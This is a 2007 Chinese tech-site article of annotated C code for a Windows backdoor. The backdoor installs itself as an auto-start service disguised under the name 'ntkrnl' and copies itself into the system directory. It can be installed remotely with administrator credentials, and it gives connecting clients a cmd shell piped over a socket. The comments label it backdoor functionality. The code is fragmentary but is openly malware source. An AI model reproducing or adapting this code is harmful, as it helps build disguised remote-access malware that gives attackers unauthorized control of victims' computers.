扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:CppChina 来源:blog 2007年10月19日
关键字:
typedef struct { HANDLE hPipe; //为实现进程间通信而使用的管道; SOCKET sClient; //与客户端进行通信时的客户端套接字; }SESSIONDATA,*PSESSIONDATA; //重定向Cmd标准输入/输出时使用的数据结构; typedef struct PROCESSDATA { HANDLE hProcess; //创建Cmd进程时获得的进程句柄; DWORD dwProcessId; //创建Cmd进程时获得的进程标识符; struct PROCESSDATA *next; //指向下一个数据结构的指针; }PROCESSDATA,*PPROCESSDATA; //在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构; void WINAPI CmdStart(DWORD,LPTSTR *); //服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程; void WINAPI CmdControl(DWORD); //服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程; DWORD WINAPI CmdService(LPVOID); //服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程; DWORD WINAPI CmdShell(LPVOID); //创建管道与Cmd进程,及Cmd的输入/输出线程; DWORD WINAPI ReadShell(LPVOID); //重定向Cmd的输出,读取信息后发送到客户端; DWORD WINAPI WriteShell(LPVOID); //重定向Cmd的输入,接收客户端的信息输入到Cmd进程; BOOL ConnectRemote(BOOL,char *,char *,char *); //如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替; void InstallCmdService(char *); //复制传送文件,打开服务控制管理器,创建或打开服务程序; void RemoveCmdService(char *); //删除文件,停止服务后,卸载服务程序; |
SERVICE_TABLE_ENTRY DispatchTable[] = { {"ntkrnl",CmdStart}, //服务程序的名称和入口点; {NULL ,NULL } //SERVICE_TABLE_ENTRY结构必须以“NULL”结束; }; StartServiceCtrlDispatcher(DispatchTable); //连接服务控制管理器,开始控制调度程序线程; ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); //注册CmdControl函数为“HandlerEx”函数,并初始化; ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(ServiceStatusHandle,&ServiceStatus); //设置服务的当前状态为SERVICE_RUNNING; hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); //创建服务主线程,实现后门功能; WaitForSingleObject(hMutex,INFINITE); //等待互斥量,控制全局变量的同步使用; TerminateProcess(lpProcessDataHead->hProcess,1); //终止创建的Cmd进程; hSearch=FindFirstFile(lpImagePath,&FileData); //查找系统目录下服务程序的文件是否已经存在; GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); //获得当前进程的程序文件名; CopyFile(lpCurrentPath,lpImagePath,FALSE); //复制文件到系统目录下; schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); //打开服务控制管理器数据库; CreateService(schSCManager,"ntkrnl","ntkrnl", SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE, "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); //创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等; schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); //如果服务已经创建,则打开服务; StartService(schService,0,NULL); //启动服务进程; ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus); //控制服务状态; DeleteService(schService); //卸载服务程序; DeleteFile(lpImagePath); //删除文件; |
hMutex=CreateMutex(NULL,FALSE,NULL); //创建互斥量; hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); //创建处理客户端访问的重定向输入输出线程; CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); //创建用于进程间通信的输入/输出管道; CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo); //创建经重定向输入输出的Cmd进程; hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); //创建处理Cmd输入输出的线程; dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); //等待线程或进程的结束; ReleaseMutex(hMutex); //释放互斥量; PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL); //从管道中复制数据到缓冲区中,但不从管道中移出; ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); //从管道中复制数据到缓冲区中; WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL); //向管道中写入从客户端接收到的数据; dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); //与远程主机建立连接; WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); //与远程主机结束连接; |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者